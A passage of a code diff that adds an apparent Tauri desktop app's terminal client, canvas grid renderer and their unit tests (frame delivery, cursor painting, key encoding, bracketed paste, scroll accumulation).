const contrastPosition = axisPosition(t, CONTRAST_BUCKETS);
|
||||||
|
const contrastLow = Math.floor(contrastPosition);
|
||||||
|
const huePosition = axisPosition(hue, HUE_BUCKETS);
|
||||||
|
const hueLow = Math.floor(huePosition);
|
||||||
|
const hueHigh = Math.min(HUE_BUCKETS - 1, hueLow + 1);
|
||||||
|
const hueFraction = huePosition - hueLow;
|
||||||
|
const near = fieldRgb[contrastLow];
|
||||||
|
const far = fieldRgb[Math.min(CONTRAST_BUCKETS - 1, contrastLow + 1)];
|
||||||
|
return rgb2hex(
|
||||||
|
blendRgb(
|
||||||
|
blendRgb(near[hueLow], near[hueHigh], hueFraction),
|
||||||
|
blendRgb(far[hueLow], far[hueHigh], hueFraction),
|
||||||
|
contrastPosition - contrastLow,
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
case "bevel_hi":
|
||||||
|
return bevelHi;
|
||||||
|
case "bevel_lo":
|
||||||
|
return bevelLo;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
114
desktop/src/features/terminal/terminalClient.test.mjs
Normal file
114
desktop/src/features/terminal/terminalClient.test.mjs
Normal file
@@ -0,0 +1,114 @@
|
|||||||
|
import assert from "node:assert/strict";
|
||||||
|
import { afterEach, test } from "node:test";
|
||||||
|
|
||||||
|
const callbacks = new Map();
|
||||||
|
const calls = [];
|
||||||
|
let nextCallback = 1;
|
||||||
|
let attachDuringInvoke;
|
||||||
|
|
||||||
|
globalThis.isTauri = true;
|
||||||
|
globalThis.window = {
|
||||||
|
__TAURI_INTERNALS__: {
|
||||||
|
invoke(command, args) {
|
||||||
|
calls.push({ command, args });
|
||||||
|
if (command === "terminal_attach") attachDuringInvoke?.(args);
|
||||||
|
return Promise.resolve(
|
||||||
|
command === "terminal_attach"
|
||||||
|
? {
|
||||||
|
sessionId: "session-1",
|
||||||
|
subscriptionId: "subscription-1",
|
||||||
|
viewport: { columns: 80, generation: 0, screenLines: 24 },
|
||||||
|
}
|
||||||
|
: undefined,
|
||||||
|
);
|
||||||
|
},
|
||||||
|
transformCallback(callback) {
|
||||||
|
const id = nextCallback++;
|
||||||
|
callbacks.set(id, callback);
|
||||||
|
return id;
|
||||||
|
},
|
||||||
|
unregisterCallback(id) {
|
||||||
|
callbacks.delete(id);
|
||||||
|
},
|
||||||
|
},
|
||||||
|
isTauri: true,
|
||||||
|
};
|
||||||
|
|
||||||
|
const { TerminalConnection } = await import("./terminalClient.ts");
|
||||||
|
|
||||||
|
function emit(channel, message, index = 0) {
|
||||||
|
const id = Number(channel.toJSON().slice("__CHANNEL__:".length));
|
||||||
|
callbacks.get(id)({ index, message });
|
||||||
|
}
|
||||||
|
|
||||||
|
const request = {
|
||||||
|
channelId: "channel-1",
|
||||||
|
channelName: "general",
|
||||||
|
npub: "npub1test",
|
||||||
|
relayUrl: "wss://relay.example",
|
||||||
|
columns: 80,
|
||||||
|
rows: 24,
|
||||||
|
pixelWidth: 800,
|
||||||
|
pixelHeight: 408,
|
||||||
|
};
|
||||||
|
|
||||||
|
const frame = {
|
||||||
|
type: "frame",
|
||||||
|
payload: {
|
||||||
|
subscriptionId: "subscription-1",
|
||||||
|
sequence: 7,
|
||||||
|
rows: [],
|
||||||
|
cursor: { column: 0, line: 0, visible: true },
|
||||||
|
full: true,
|
||||||
|
viewport: { columns: 80, generation: 0, screenLines: 24 },
|
||||||
|
bracketedPaste: true,
|
||||||
|
focusReporting: true,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
calls.length = 0;
|
||||||
|
attachDuringInvoke = undefined;
|
||||||
|
});
|
||||||
|
|
||||||
|
test("attach retains a bootstrap frame delivered before invoke resolves", async () => {
|
||||||
|
const deliveries = [];
|
||||||
|
attachDuringInvoke = ({ onFrame }) => emit(onFrame, frame);
|
||||||
|
const connection = await TerminalConnection.attach(
|
||||||
|
request,
|
||||||
|
() => {},
|
||||||
|
(delivery) => deliveries.push(delivery),
|
||||||
|
);
|
||||||
|
|
||||||
|
assert.equal(connection.sessionId, "session-1");
|
||||||
|
assert.equal(deliveries.length, 1);
|
||||||
|
assert.equal(deliveries[0].frame.sequence, 7);
|
||||||
|
await deliveries[0].acknowledge();
|
||||||
|
assert.deepEqual(calls.at(-1), {
|
||||||
|
command: "terminal_ack",
|
||||||
|
args: {
|
||||||
|
sessionId: "session-1",
|
||||||
|
subscriptionId: "subscription-1",
|
||||||
|
sequence: 7,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
test("stale subscription frames are ignored", async () => {
|
||||||
|
const deliveries = [];
|
||||||
|
let channel;
|
||||||
|
attachDuringInvoke = ({ onFrame }) => {
|
||||||
|
channel = onFrame;
|
||||||
|
};
|
||||||
|
await TerminalConnection.attach(
|
||||||
|
request,
|
||||||
|
() => {},
|
||||||
|
(value) => deliveries.push(value),
|
||||||
|
);
|
||||||
|
emit(
|
||||||
|
channel,
|
||||||
|
{ ...frame, payload: { ...frame.payload, subscriptionId: "stale" } },
|
||||||
|
0,
|
||||||
|
);
|
||||||
|
assert.deepEqual(deliveries, []);
|
||||||
|
});
|
||||||
153
desktop/src/features/terminal/terminalClient.ts
Normal file
153
desktop/src/features/terminal/terminalClient.ts
Normal file
@@ -0,0 +1,153 @@
|
|||||||
|
import { Channel, invoke, isTauri } from "@tauri-apps/api/core";
|
||||||
|
|
||||||
|
import type { TerminalFrame } from "./terminalRenderer";
|
||||||
|
|
||||||
|
export type TerminalAttachRequest = {
|
||||||
|
sessionId?: string;
|
||||||
|
channelId: string;
|
||||||
|
channelName: string;
|
||||||
|
threadId?: string;
|
||||||
|
npub: string;
|
||||||
|
relayUrl: string;
|
||||||
|
columns: number;
|
||||||
|
rows: number;
|
||||||
|
pixelWidth: number;
|
||||||
|
pixelHeight: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type TerminalViewport = TerminalFrame["viewport"];
|
||||||
|
|
||||||
|
export type TerminalFrameMessage = TerminalFrame & {
|
||||||
|
subscriptionId: string;
|
||||||
|
sequence: number;
|
||||||
|
bracketedPaste: boolean;
|
||||||
|
focusReporting: boolean;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type TerminalMessage =
|
||||||
|
| { type: "frame"; payload: TerminalFrameMessage }
|
||||||
|
| { type: "title"; payload: string }
|
||||||
|
| { type: "resetTitle"; payload?: never }
|
||||||
|
| { type: "bell"; payload?: never }
|
||||||
|
| { type: "exit"; payload?: never };
|
||||||
|
|
||||||
|
type AttachResponse = {
|
||||||
|
sessionId: string;
|
||||||
|
subscriptionId: string;
|
||||||
|
viewport: TerminalViewport;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type TerminalDelivery = {
|
||||||
|
frame: TerminalFrameMessage;
|
||||||
|
acknowledge: () => Promise<void>;
|
||||||
|
};
|
||||||
|
|
||||||
|
export class TerminalConnection {
|
||||||
|
readonly sessionId: string;
|
||||||
|
readonly subscriptionId: string;
|
||||||
|
readonly viewport: TerminalViewport;
|
||||||
|
|
||||||
|
private constructor(response: AttachResponse) {
|
||||||
|
this.sessionId = response.sessionId;
|
||||||
|
this.subscriptionId = response.subscriptionId;
|
||||||
|
this.viewport = response.viewport;
|
||||||
|
}
|
||||||
|
|
||||||
|
static async attach(
|
||||||
|
request: TerminalAttachRequest,
|
||||||
|
onMessage: (message: Exclude<TerminalMessage, { type: "frame" }>) => void,
|
||||||
|
onFrame: (delivery: TerminalDelivery) => void,
|
||||||
|
): Promise<TerminalConnection> {
|
||||||
|
if (!isTauri()) throw new Error("terminal sessions require Buzz Desktop");
|
||||||
|
|
||||||
|
let connection: TerminalConnection | null = null;
|
||||||
|
const pending: TerminalMessage[] = [];
|
||||||
|
const deliver = (message: TerminalMessage) => {
|
||||||
|
if (!connection) {
|
||||||
|
pending.push(message);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (message.type !== "frame") {
|
||||||
|
onMessage(message);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const frame = message.payload;
|
||||||
|
if (frame.subscriptionId !== connection.subscriptionId) return;
|
||||||
|
onFrame({
|
||||||
|
frame,
|
||||||
|
acknowledge: () =>
|
||||||
|
connection?.acknowledge(frame.sequence) ?? Promise.resolve(),
|
||||||
|
});
|
||||||
|
};
|
||||||
|
const channel = new Channel<TerminalMessage>(deliver);
|
||||||
|
const response = await invoke<AttachResponse>("terminal_attach", {
|
||||||
|
request,
|
||||||
|
onFrame: channel,
|
||||||
|
});
|
||||||
|
connection = new TerminalConnection(response);
|
||||||
|
for (const message of pending) deliver(message);
|
||||||
|
return connection;
|
||||||
|
}
|
||||||
|
|
||||||
|
input(data: string): Promise<void> {
|
||||||
|
return invoke("terminal_input", { sessionId: this.sessionId, data });
|
||||||
|
}
|
||||||
|
|
||||||
|
async resize(
|
||||||
|
columns: number,
|
||||||
|
rows: number,
|
||||||
|
pixelWidth: number,
|
||||||
|
pixelHeight: number,
|
||||||
|
): Promise<TerminalViewport> {
|
||||||
|
return invoke("terminal_resize", {
|
||||||
|
sessionId: this.sessionId,
|
||||||
|
columns,
|
||||||
|
rows,
|
||||||
|
pixelWidth,
|
||||||
|
pixelHeight,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
viewportReady(viewport: TerminalViewport): Promise<void> {
|
||||||
|
return invoke("terminal_viewport_ready", {
|
||||||
|
sessionId: this.sessionId,
|
||||||
|
subscriptionId: this.subscriptionId,
|
||||||
|
viewport,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Scroll the viewport by whole cells.
|
||||||
|
*
|
||||||
|
* `lines` keeps the DOM's sign: negative is the direction that scrolls a
|
||||||
|
* page toward the top of the document. The backend owns the conversion to
|
||||||
|
* the engine's opposite convention, so this layer carries no policy about
|
||||||
|
* which way history is.
|
||||||
|
*/
|
||||||
|
scroll(lines: number): Promise<void> {
|
||||||
|
return invoke("terminal_scroll", { sessionId: this.sessionId, lines });
|
||||||
|
}
|
||||||
|
|
||||||
|
focus(focused: boolean): Promise<void> {
|
||||||
|
return invoke("terminal_focus", { sessionId: this.sessionId, focused });
|
||||||
|
}
|
||||||
|
|
||||||
|
detach(): Promise<void> {
|
||||||
|
return invoke("terminal_detach", {
|
||||||
|
sessionId: this.sessionId,
|
||||||
|
subscriptionId: this.subscriptionId,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
close(): Promise<void> {
|
||||||
|
return invoke("terminal_close", { sessionId: this.sessionId });
|
||||||
|
}
|
||||||
|
|
||||||
|
private acknowledge(sequence: number): Promise<void> {
|
||||||
|
return invoke("terminal_ack", {
|
||||||
|
sessionId: this.sessionId,
|
||||||
|
subscriptionId: this.subscriptionId,
|
||||||
|
sequence,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
167
desktop/src/features/terminal/terminalRenderer.test.mjs
Normal file
167
desktop/src/features/terminal/terminalRenderer.test.mjs
Normal file
@@ -0,0 +1,167 @@
|
|||||||
|
import assert from "node:assert/strict";
|
||||||
|
import test from "node:test";
|
||||||
|
|
||||||
|
import { TerminalGrid } from "./terminalRenderer.ts";
|
||||||
|
|
||||||
|
const palette = {
|
||||||
|
background: "#000000",
|
||||||
|
foreground: "#ffffff",
|
||||||
|
cursor: "#ffffff",
|
||||||
|
cursorText: "#000000",
|
||||||
|
ansi: Object.fromEntries(
|
||||||
|
[
|
||||||
|
"black",
|
||||||
|
"red",
|
||||||
|
"green",
|
||||||
|
"yellow",
|
||||||
|
"blue",
|
||||||
|
"magenta",
|
||||||
|
"cyan",
|
||||||
|
"white",
|
||||||
|
"brightBlack",
|
||||||
|
"brightRed",
|
||||||
|
"brightGreen",
|
||||||
|
"brightYellow",
|
||||||
|
"brightBlue",
|
||||||
|
"brightMagenta",
|
||||||
|
"brightCyan",
|
||||||
|
"brightWhite",
|
||||||
|
].map((name, index) => [name, `#${index.toString(16).padStart(6, "0")}`]),
|
||||||
|
),
|
||||||
|
};
|
||||||
|
|
||||||
|
function context() {
|
||||||
|
const text = [];
|
||||||
|
const fills = [];
|
||||||
|
return {
|
||||||
|
text,
|
||||||
|
fills,
|
||||||
|
fillStyle: "",
|
||||||
|
font: "",
|
||||||
|
textBaseline: "alphabetic",
|
||||||
|
save() {},
|
||||||
|
restore() {},
|
||||||
|
fillRect(...args) {
|
||||||
|
fills.push(args);
|
||||||
|
},
|
||||||
|
fillText(...args) {
|
||||||
|
text.push(args);
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const metrics = {
|
||||||
|
width: 10,
|
||||||
|
height: 20,
|
||||||
|
baseline: 15,
|
||||||
|
font: "normal",
|
||||||
|
boldFont: "bold",
|
||||||
|
};
|
||||||
|
|
||||||
|
test("clusters draw at computed columns, never accumulated text width", () => {
|
||||||
|
const grid = new TerminalGrid({ generation: 0, columns: 12, screenLines: 1 });
|
||||||
|
assert.equal(
|
||||||
|
grid.apply({
|
||||||
|
viewport: grid.viewport,
|
||||||
|
full: true,
|
||||||
|
cursor: { line: 0, column: 0, visible: false },
|
||||||
|
rows: [
|
||||||
|
{
|
||||||
|
line: 0,
|
||||||
|
spans: [
|
||||||
|
{
|
||||||
|
style: { fg: 0x01000007, bg: 0x01000101, flags: 0 },
|
||||||
|
clusters: [
|
||||||
|
{ column: 0, text: "a", width: 1 },
|
||||||
|
{ column: 1, text: "😀", width: 2 },
|
||||||
|
{ column: 3, text: "b", width: 1 },
|
||||||
|
{ column: 4, text: "一", width: 2 },
|
||||||
|
{ column: 6, text: "c", width: 1 },
|
||||||
|
],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
}),
|
||||||
|
true,
|
||||||
|
);
|
||||||
|
const ctx = context();
|
||||||
|
grid.paint(ctx, metrics, palette);
|
||||||
|
assert.deepEqual(
|
||||||
|
ctx.text.map((call) => [call[0], call[1]]),
|
||||||
|
[
|
||||||
|
["a", 0],
|
||||||
|
["😀", 10],
|
||||||
|
["b", 30],
|
||||||
|
["一", 40],
|
||||||
|
["c", 60],
|
||||||
|
],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("combining marks stay in one cluster and consume one cell", () => {
|
||||||
|
const grid = new TerminalGrid({ generation: 2, columns: 4, screenLines: 1 });
|
||||||
|
grid.apply({
|
||||||
|
viewport: grid.viewport,
|
||||||
|
full: false,
|
||||||
|
cursor: { line: 0, column: 0, visible: false },
|
||||||
|
rows: [
|
||||||
|
{
|
||||||
|
line: 0,
|
||||||
|
spans: [
|
||||||
|
{
|
||||||
|
style: { fg: 0x01000007, bg: 0x01000101, flags: 0 },
|
||||||
|
clusters: [{ column: 2, text: "é", width: 1 }],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
});
|
||||||
|
const ctx = context();
|
||||||
|
grid.paint(ctx, metrics, palette);
|
||||||
|
assert.deepEqual(ctx.text[0], ["é", 20, 15]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("stale viewport frames are rejected without mutating retained rows", () => {
|
||||||
|
const grid = new TerminalGrid({ generation: 4, columns: 4, screenLines: 1 });
|
||||||
|
assert.equal(
|
||||||
|
grid.apply({
|
||||||
|
viewport: { generation: 3, columns: 4, screenLines: 1 },
|
||||||
|
full: true,
|
||||||
|
cursor: { line: 0, column: 0, visible: false },
|
||||||
|
rows: [],
|
||||||
|
}),
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("cursor visibility can blink without a new terminal frame", () => {
|
||||||
|
const grid = new TerminalGrid({ generation: 0, columns: 4, screenLines: 1 });
|
||||||
|
grid.apply({
|
||||||
|
viewport: grid.viewport,
|
||||||
|
full: true,
|
||||||
|
cursor: { line: 0, column: 2, visible: true },
|
||||||
|
rows: [],
|
||||||
|
});
|
||||||
|
|
||||||
|
const visible = context();
|
||||||
|
grid.paint(visible, metrics, palette);
|
||||||
|
assert.ok(visible.fills.some((fill) => fill[0] === 20 && fill[2] === 1.2));
|
||||||
|
|
||||||
|
grid.setCursorPainted(false);
|
||||||
|
const hidden = context();
|
||||||
|
grid.paint(hidden, metrics, palette);
|
||||||
|
assert.equal(
|
||||||
|
hidden.fills.some((fill) => fill[0] === 20 && fill[2] === 1.2),
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
assert.ok(
|
||||||
|
hidden.fills.some((fill) => fill[0] === 0 && fill[2] === 40),
|
||||||
|
"hiding the cursor must repaint its row to erase the old caret",
|
||||||
|
);
|
||||||
|
|
||||||
|
grid.setCursorPainted(true);
|
||||||
|
const restored = context();
|
||||||
|
grid.paint(restored, metrics, palette);
|
||||||
|
assert.ok(restored.fills.some((fill) => fill[0] === 20 && fill[2] === 1.2));
|
||||||
|
});
|
||||||
233
desktop/src/features/terminal/terminalRenderer.ts
Normal file
233
desktop/src/features/terminal/terminalRenderer.ts
Normal file
@@ -0,0 +1,233 @@
|
|||||||
|
import {
|
||||||
|
ANSI_COLOR_NAMES,
|
||||||
|
type AnsiColorName,
|
||||||
|
type TerminalPalette,
|
||||||
|
} from "@/shared/theme/terminal-palette";
|
||||||
|
|
||||||
|
export type TerminalViewport = {
|
||||||
|
generation: number;
|
||||||
|
columns: number;
|
||||||
|
screenLines: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type TerminalStyle = { fg: number; bg: number; flags: number };
|
||||||
|
|
||||||
|
export type TerminalCluster = {
|
||||||
|
column: number;
|
||||||
|
text: string;
|
||||||
|
width: 1 | 2;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type TerminalSpan = {
|
||||||
|
style: TerminalStyle;
|
||||||
|
clusters: readonly TerminalCluster[];
|
||||||
|
};
|
||||||
|
|
||||||
|
export type TerminalRow = { line: number; spans: readonly TerminalSpan[] };
|
||||||
|
export type TerminalCursor = {
|
||||||
|
line: number;
|
||||||
|
column: number;
|
||||||
|
visible: boolean;
|
||||||
|
};
|
||||||
|
export type TerminalFrame = {
|
||||||
|
viewport: TerminalViewport;
|
||||||
|
rows: readonly TerminalRow[];
|
||||||
|
cursor: TerminalCursor;
|
||||||
|
full: boolean;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type CellMetrics = {
|
||||||
|
width: number;
|
||||||
|
height: number;
|
||||||
|
baseline: number;
|
||||||
|
font: string;
|
||||||
|
boldFont: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
export const TERMINAL_CELL_METRICS = {
|
||||||
|
width: 8.4,
|
||||||
|
height: 17,
|
||||||
|
baseline: 13,
|
||||||
|
font: '14px "JetBrains Mono", monospace',
|
||||||
|
boldFont: '700 14px "JetBrains Mono", monospace',
|
||||||
|
} as const satisfies CellMetrics;
|
||||||
|
|
||||||
|
type RetainedRow = readonly TerminalSpan[];
|
||||||
|
|
||||||
|
export type PaintContext = Pick<
|
||||||
|
CanvasRenderingContext2D,
|
||||||
|
| "fillStyle"
|
||||||
|
| "font"
|
||||||
|
| "textBaseline"
|
||||||
|
| "fillRect"
|
||||||
|
| "fillText"
|
||||||
|
| "save"
|
||||||
|
| "restore"
|
||||||
|
>;
|
||||||
|
|
||||||
|
const COLOR_KIND = 0xff00_0000;
|
||||||
|
const COLOR_VALUE = 0x00ff_ffff;
|
||||||
|
const NAMED = 0x0100_0000;
|
||||||
|
const INDEXED = 0x0200_0000;
|
||||||
|
const RGB = 0x0300_0000;
|
||||||
|
const BOLD = 1 << 0;
|
||||||
|
|
||||||
|
function xtermIndexed(index: number, palette: TerminalPalette): string {
|
||||||
|
if (index < 16) return palette.ansi[ANSI_COLOR_NAMES[index]];
|
||||||
|
if (index < 232) {
|
||||||
|
const offset = index - 16;
|
||||||
|
const levels = [0, 95, 135, 175, 215, 255];
|
||||||
|
const r = levels[Math.floor(offset / 36)];
|
||||||
|
const g = levels[Math.floor((offset % 36) / 6)];
|
||||||
|
const b = levels[offset % 6];
|
||||||
|
return `rgb(${r} ${g} ${b})`;
|
||||||
|
}
|
||||||
|
const gray = 8 + (index - 232) * 10;
|
||||||
|
return `rgb(${gray} ${gray} ${gray})`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function resolvePackedColor(
|
||||||
|
packed: number,
|
||||||
|
palette: TerminalPalette,
|
||||||
|
fallback: "foreground" | "background",
|
||||||
|
): string {
|
||||||
|
const kind = packed & COLOR_KIND;
|
||||||
|
const value = packed & COLOR_VALUE;
|
||||||
|
if (kind === RGB) {
|
||||||
|
return `#${value.toString(16).padStart(6, "0")}`;
|
||||||
|
}
|
||||||
|
if (kind === INDEXED) return xtermIndexed(value & 0xff, palette);
|
||||||
|
if (kind === NAMED) {
|
||||||
|
if (value < 16) return palette.ansi[ANSI_COLOR_NAMES[value]];
|
||||||
|
if (value === 256 || value === 272) return palette.foreground;
|
||||||
|
if (value === 257) return palette.background;
|
||||||
|
if (value === 258) return palette.cursor;
|
||||||
|
if (value >= 259 && value <= 266) {
|
||||||
|
return palette.ansi[ANSI_COLOR_NAMES[value - 259] as AnsiColorName];
|
||||||
|
}
|
||||||
|
if (value === 271) return palette.ansi.brightWhite;
|
||||||
|
}
|
||||||
|
return palette[fallback];
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Retained terminal grid. Applying a frame only dirties rows it names. */
|
||||||
|
export class TerminalGrid {
|
||||||
|
#viewport: TerminalViewport;
|
||||||
|
#rows: RetainedRow[];
|
||||||
|
#dirty = new Set<number>();
|
||||||
|
#cursor: TerminalCursor = { line: 0, column: 0, visible: false };
|
||||||
|
#cursorPainted = true;
|
||||||
|
|
||||||
|
constructor(viewport: TerminalViewport) {
|
||||||
|
this.#viewport = viewport;
|
||||||
|
this.#rows = Array.from({ length: viewport.screenLines }, () => []);
|
||||||
|
this.markAllDirty();
|
||||||
|
}
|
||||||
|
|
||||||
|
get viewport(): TerminalViewport {
|
||||||
|
return this.#viewport;
|
||||||
|
}
|
||||||
|
|
||||||
|
apply(frame: TerminalFrame): boolean {
|
||||||
|
if (
|
||||||
|
frame.viewport.generation !== this.#viewport.generation ||
|
||||||
|
frame.viewport.columns !== this.#viewport.columns ||
|
||||||
|
frame.viewport.screenLines !== this.#viewport.screenLines
|
||||||
|
) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (frame.full) this.markAllDirty();
|
||||||
|
this.#dirty.add(this.#cursor.line);
|
||||||
|
this.#cursor = frame.cursor;
|
||||||
|
this.#dirty.add(this.#cursor.line);
|
||||||
|
for (const row of frame.rows) {
|
||||||
|
if (row.line < this.#rows.length) {
|
||||||
|
this.#rows[row.line] = row.spans;
|
||||||
|
this.#dirty.add(row.line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
resize(viewport: TerminalViewport): void {
|
||||||
|
this.#viewport = viewport;
|
||||||
|
this.#rows = Array.from({ length: viewport.screenLines }, () => []);
|
||||||
|
this.#cursor = { line: 0, column: 0, visible: false };
|
||||||
|
this.markAllDirty();
|
||||||
|
}
|
||||||
|
|
||||||
|
markAllDirty(): void {
|
||||||
|
for (let line = 0; line < this.#viewport.screenLines; line++) {
|
||||||
|
this.#dirty.add(line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
setCursorPainted(painted: boolean): void {
|
||||||
|
if (this.#cursorPainted === painted) return;
|
||||||
|
this.#cursorPainted = painted;
|
||||||
|
this.#dirty.add(this.#cursor.line);
|
||||||
|
}
|
||||||
|
|
||||||
|
paint(
|
||||||
|
context: PaintContext,
|
||||||
|
metrics: CellMetrics,
|
||||||
|
palette: TerminalPalette,
|
||||||
|
): number {
|
||||||
|
const started = performance.now();
|
||||||
|
context.save();
|
||||||
|
context.textBaseline = "alphabetic";
|
||||||
|
const dirty = [...this.#dirty].sort((a, b) => a - b);
|
||||||
|
for (const line of dirty) {
|
||||||
|
const y = line * metrics.height;
|
||||||
|
context.fillStyle = palette.background;
|
||||||
|
context.fillRect(
|
||||||
|
0,
|
||||||
|
y,
|
||||||
|
this.#viewport.columns * metrics.width,
|
||||||
|
metrics.height,
|
||||||
|
);
|
||||||
|
for (const span of this.#rows[line] ?? []) {
|
||||||
|
const background = resolvePackedColor(
|
||||||
|
span.style.bg,
|
||||||
|
palette,
|
||||||
|
"background",
|
||||||
|
);
|
||||||
|
context.fillStyle = background;
|
||||||
|
for (const cluster of span.clusters) {
|
||||||
|
context.fillRect(
|
||||||
|
cluster.column * metrics.width,
|
||||||
|
y,
|
||||||
|
cluster.width * metrics.width,
|
||||||
|
metrics.height,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
context.fillStyle = resolvePackedColor(
|
||||||
|
span.style.fg,
|
||||||
|
palette,
|
||||||
|
"foreground",
|
||||||
|
);
|
||||||
|
context.font =
|
||||||
|
span.style.flags & BOLD ? metrics.boldFont : metrics.font;
|
||||||
|
for (const cluster of span.clusters) {
|
||||||
|
context.fillText(
|
||||||
|
cluster.text,
|
||||||
|
cluster.column * metrics.width,
|
||||||
|
y + metrics.baseline,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (this.#cursor.visible && this.#cursorPainted) {
|
||||||
|
context.fillStyle = palette.cursor;
|
||||||
|
context.fillRect(
|
||||||
|
this.#cursor.column * metrics.width,
|
||||||
|
this.#cursor.line * metrics.height,
|
||||||
|
Math.max(1, metrics.width * 0.12),
|
||||||
|
metrics.height,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
context.restore();
|
||||||
|
this.#dirty.clear();
|
||||||
|
return performance.now() - started;
|
||||||
|
}
|
||||||
|
}
|
||||||
215
desktop/src/features/terminal/terminalState.test.mjs
Normal file
215
desktop/src/features/terminal/terminalState.test.mjs
Normal file
@@ -0,0 +1,215 @@
|
|||||||
|
import assert from "node:assert/strict";
|
||||||
|
import test from "node:test";
|
||||||
|
|
||||||
|
import {
|
||||||
|
INITIAL_HANDOFF_STATE,
|
||||||
|
accumulateScrollLines,
|
||||||
|
encodePaste,
|
||||||
|
encodeTerminalKey,
|
||||||
|
matchTabChord,
|
||||||
|
reduceHandoff,
|
||||||
|
stepSession,
|
||||||
|
} from "./terminalState.ts";
|
||||||
|
|
||||||
|
test("ownership changes on completed chord, never key-down or repeat", () => {
|
||||||
|
const down = reduceHandoff(INITIAL_HANDOFF_STATE, {
|
||||||
|
type: "chord-down",
|
||||||
|
repeat: false,
|
||||||
|
});
|
||||||
|
assert.equal(down.state.owner, "buzz");
|
||||||
|
assert.equal(down.toggled, false);
|
||||||
|
assert.equal(
|
||||||
|
reduceHandoff(down.state, { type: "chord-up" }).state.owner,
|
||||||
|
"terminal",
|
||||||
|
);
|
||||||
|
assert.deepEqual(
|
||||||
|
reduceHandoff(INITIAL_HANDOFF_STATE, {
|
||||||
|
type: "chord-down",
|
||||||
|
repeat: true,
|
||||||
|
}),
|
||||||
|
{ state: INITIAL_HANDOFF_STATE, toggled: false },
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("composition and focus loss cancel an armed chord", () => {
|
||||||
|
const armed = reduceHandoff(INITIAL_HANDOFF_STATE, {
|
||||||
|
type: "chord-down",
|
||||||
|
repeat: false,
|
||||||
|
}).state;
|
||||||
|
const composing = reduceHandoff(armed, { type: "composition-start" }).state;
|
||||||
|
assert.equal(reduceHandoff(composing, { type: "chord-up" }).toggled, false);
|
||||||
|
const blurred = reduceHandoff(armed, { type: "focus-lost" }).state;
|
||||||
|
assert.equal(reduceHandoff(blurred, { type: "chord-up" }).toggled, false);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("terminal key encoding covers control, navigation, and alt prefixes", () => {
|
||||||
|
assert.equal(
|
||||||
|
encodeTerminalKey({
|
||||||
|
key: "c",
|
||||||
|
ctrlKey: true,
|
||||||
|
altKey: false,
|
||||||
|
metaKey: false,
|
||||||
|
}),
|
||||||
|
"\u0003",
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
encodeTerminalKey({
|
||||||
|
key: "ArrowUp",
|
||||||
|
ctrlKey: false,
|
||||||
|
altKey: false,
|
||||||
|
metaKey: false,
|
||||||
|
}),
|
||||||
|
"\u001b[A",
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
encodeTerminalKey({
|
||||||
|
key: "x",
|
||||||
|
ctrlKey: false,
|
||||||
|
altKey: true,
|
||||||
|
metaKey: false,
|
||||||
|
}),
|
||||||
|
"\u001bx",
|
||||||
|
);
|
||||||
|
assert.equal(
|
||||||
|
encodeTerminalKey({
|
||||||
|
key: "x",
|
||||||
|
ctrlKey: false,
|
||||||
|
altKey: false,
|
||||||
|
metaKey: true,
|
||||||
|
}),
|
||||||
|
null,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("bracketed paste wraps the entire payload exactly once", () => {
|
||||||
|
assert.equal(encodePaste("a\nb", false), "a\nb");
|
||||||
|
assert.equal(encodePaste("a\nb", true), "\u001b[200~a\nb\u001b[201~");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("pixel scrolling retains fractional lines in both directions", () => {
|
||||||
|
const state = { remainderPx: 0 };
|
||||||
|
let result = accumulateScrollLines(state, 3, 10);
|
||||||
|
assert.equal(result.lines, 0);
|
||||||
|
result = accumulateScrollLines(result.state, 8, 10);
|
||||||
|
assert.equal(result.lines, 1);
|
||||||
|
assert.equal(result.state.remainderPx, 1);
|
||||||
|
result = accumulateScrollLines(result.state, -12, 10);
|
||||||
|
assert.equal(result.lines, -1);
|
||||||
|
assert.equal(result.state.remainderPx, -1);
|
||||||
|
});
|
||||||
|
|
||||||
|
function chord(overrides) {
|
||||||
|
return {
|
||||||
|
altKey: false,
